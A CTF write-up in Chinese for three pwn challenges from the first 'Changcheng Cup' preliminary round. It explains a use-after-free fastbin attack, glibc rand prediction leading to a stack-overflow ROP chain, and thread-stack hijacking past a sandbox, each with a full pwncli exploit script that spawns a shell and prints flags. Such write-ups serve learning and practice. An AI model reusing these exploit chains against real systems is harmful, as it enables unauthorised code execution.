第一届“长城杯”信息安全铁人三项赛初赛-第四场-pwn-all
第一届“长城杯”信息安全铁人三项赛初赛-第四场-pwn-all
这次打了个第二。半决赛因为有事,去不了,等队友带我进总决赛了。
onetime
逆向分析
经典菜单堆,free
分支存在uaf
,然后第五个分支和第一个分支可以达成fastbin attack
漏洞利用
利用fastbin attack
申请0x60208d
,然后修改分支判断变量与p
指针,做到利用show分支泄露和修改atoi
为system
进行getshell
。
EXP
运行:./exp.py re ./onetime 192.168.17.127 7777
攻击远程
#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2024-03-31 14:50:42
Usage:
Debug : python3 exp.py debug elf-file-path -t -b malloc
Remote: python3 exp.py remote elf-file-path ip:port
flag{606e1f4dfd993eb94675ac02e6e39541}
'''
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
if gift.remote:
libc = ELF("./onetime.so")
gift[libc] = libc
def cmd(i, prompt='your choice >>'):
sla(prompt, str(i))
def add():
cmd('1')
#......
def edit(pd):
cmd('2')
sa('l content:',pd)
#......
def show():
cmd('3')
#......
def dele():
cmd('4')
#......
def magic(pd):
cmd('5')
sa('e your name:',pd)
add()
dele()
edit(flat(
{
0x0:0x60208d
}
))
add()
#0x6020a0
pd = b'aaa'
pd+=flat(
{
0x0:[
0,
elf.got.atoi,
0,0
]
}
)
magic(pd)
'''
pwndbg> tele 0x6020a0
00:0000│ 0x6020a0 (has2) ◂— 0xdeadbeef
01:0008│ 0x6020a8 (p) —▸ 0x60209d ◂— 0xdeadbeef616161
02:0010│ 0x6020b0 (has4) ◂— 0x1
03:0018│ 0x6020b8 (has1) ◂— 0x100000001
04:0020│ 0x6020c0 ◂— 0x0
... ↓ 3 skipped
pwndbg>
08:0040│ 0x6020e0 ◂— 0x0
... ↓ 7 skipped
'''
show()
lb = recv_current_libc_addr(libc.sym.atoi,0x10)
leak_ex2(lb)
libc.address = lb
edit(flat(
{
0:libc.sym.system
}
))
sl('$0')
ia()
FLAG
flag{606e1f4dfd993eb94675ac02e6e39541}
guess_game
逆向分析
进去对main函数按p,然后把地址0x401534
到0x401546
的垃圾数据都nop
掉,就可以看出程序就是玩游戏,玩对给一个栈溢出。但是4次机会是猜不对的。因此我们可以输入6泄露rand函数的返回值值,然后利用rand函数的缺陷。如下:
● 参考Peter Selinger: The GLIBC pseudo-random number generator (dal.ca)
o[n] == o[n-31] + o[n-3]
o[n] == o[n-31] + o[n-3] + 1
如果能多次泄露,将产生的数记录在数组leaknum中,可通过leaknum[i ] = leaknum[i-31] + leaknum[i-3] / leaknum[i ] = leaknum[i-31] + leaknum[i-3] + 1预测。(i为数组下标,从0开始)
来预测rand的返回值,从而触发栈溢出
漏洞利用
栈溢出,但是发现gadget
只有:
0x000000000040125d : pop rbp ; ret
0x0000000000401540 : pop rbx ; ret
0x0000000000401543 : pop rdx ; ret
0x000000000040153d : pop rsi ; ret
由此联想到利用magic gadget
修改got
然后执行ogg
。
magic gadget
如下:
pwndbg> x/10i 0x000000000040125c
0x40125c: add DWORD PTR [rbp-0x3d],ebx
0x40125f: nop
0x401260: ret
EXP
运行:./exp.py re ./pwn 192.168.17.127 8888
,跑不通多跑几次
#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2024-03-31 14:06:41
Usage:
Debug : python3 exp.py debug elf-file-path -t -b malloc
Remote: python3 exp.py remote elf-file-path ip:port
flag{f68dad953b9708da575d07faf43f77db}
'''
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
if gift.remote:
libc = ELF("./libc.so.6")
gift[libc] = libc
def magic():
sla('guess number?[y/n]','6')
sla('Give Up? [y/n]','y')
ru('you are a loser,the number is ')
leak_num = int(rl()[:-1],16)
sla('continue guess?','y')
return leak_num
def game():
sla('guess number?[y/n]','y')
for i in range(5):
sla(':',str(i))
num = []
for i in range(31):
game()
num.append(magic())
magic_num = num[0]+num[31-3]
print(magic_num)
sla('guess number?[y/n]','y')
sla(':',str(magic_num))
CG.set_find_area(1,0)
'''
pwndbg> x/10i 0x000000000040125c
0x40125c: add DWORD PTR [rbp-0x3d],ebx
0x40125f: nop
0x401260: ret
0x000000000040125d : pop rbp ; ret
0x0000000000401540 : pop rbx ; ret
0x0000000000401543 : pop rdx ; ret
0x000000000040153d : pop rsi ; ret
0xeacec execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xeacef execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xeacf2 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
pop_rbp = 0x000000000040125d
pop_rbx = 0x0000000000401540
pop_rdx = 0x0000000000401543
pop_rsi = 0x000000000040153d
ogg = 0xeacf2
offset = ogg - libc.sym.puts if ogg > libc.sym.puts else ogg - libc.sym.puts + 0x100000000
null_ptr = elf.bss()+0x800
pd = flat(
{
72:[pop_rbp,
elf.got.puts+0x3d,
pop_rbx,
offset,
0x000000000040125c,
pop_rsi,
null_ptr,
pop_rdx,
null_ptr,
elf.plt.puts]
}
)
sla('get it,you win!',pd)
'''cyc = 0
for i in num:
print("The " + str(cyc) + "Num :" + str(i))
cyc = cyc + 1
'''
ia()
'''leaknum[32] = leaknum[1] + leaknum[32-3]'''
FLAG
flag{f68dad953b9708da575d07faf43f77db}
thread_pwn
逆向分析
我在上一年buuoj
-2023六月挑战赛做过一样的,叫A dream,我还写过wp在我的博客园里。。。
程序在开启沙箱前打开了一个线程,劫持该线程即可:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF
sub_401256(a1, a2, a3);
puts("Welcome ,do you know threads?");
pthread_create(&newthread, 0LL, start_routine, 0LL);
sub_4014AD();
return 0LL;
}
漏洞利用
- 首先栈迁移泄露
libc
地址,详细点击这里 - 利用
magic_read
(0x4014BE
)和ret2csu
,获得布置栈空间的能力 - 利用系统调用构造循环
read
不断往线程栈输入payload
EXP
运行./exp.py re ./thread_pwn 192.168.17.127 9999
即可
#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2024-03-31 13:08:15
Usage:
Debug : python3 exp.py debug elf-file-path -t -b malloc
Remote: python3 exp.py remote elf-file-path ip:port
'''
#flag{c79f2facb69cc53d6ca2b3de7957a827}
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
CG.set_find_area(1,0)
pd = flat(
{
72-0x8:[
0x4041c0,
0x4014BE]
}
)
s(pd)
sleep(1)
pd = flat(
{
0:[
0x40158A,
0,1,0,0x4041c0,0x100,elf.got.read,0x401570
],
0x50-0x10:[
0x404180-8,
CG.leave_ret()]
}
)
s(pd)
sleep(1)
pd = flat(
{
56:[
0x0000000000401593,
1,
0x0000000000401591,
elf.got.read,
0,
elf.plt.write,
#0x404230
0x0000000000401593,
0,
0x0000000000401591,
0x404230-0x20+0x48,
0,
elf.plt.read,
]
}
)
sl(pd)
lb = recv_current_libc_addr(0x205380,0x10)
leak_ex2(lb)
libc.address = lb
tstack = lb - 0x4110
leak_ex2(tstack)
CG.set_find_area(1,1)
cyc_pd = flat(
{
0x0:[
CG.read_chain(0,tstack-0x10,0x100),
CG.pop_rbp_ret(),
0x404258-0x8,
CG.leave_ret(),
]
}
)
sleep(1)
sl(cyc_pd)
pd = flat(
{
0x0:[
[CG.ret()]*0x10
],
0x80:CG.execve_chain()
}
)
for i in range(8):
sleep(0.5)
sl(pd)
ia()
FLAG
flag{c79f2facb69cc53d6ca2b3de7957a827}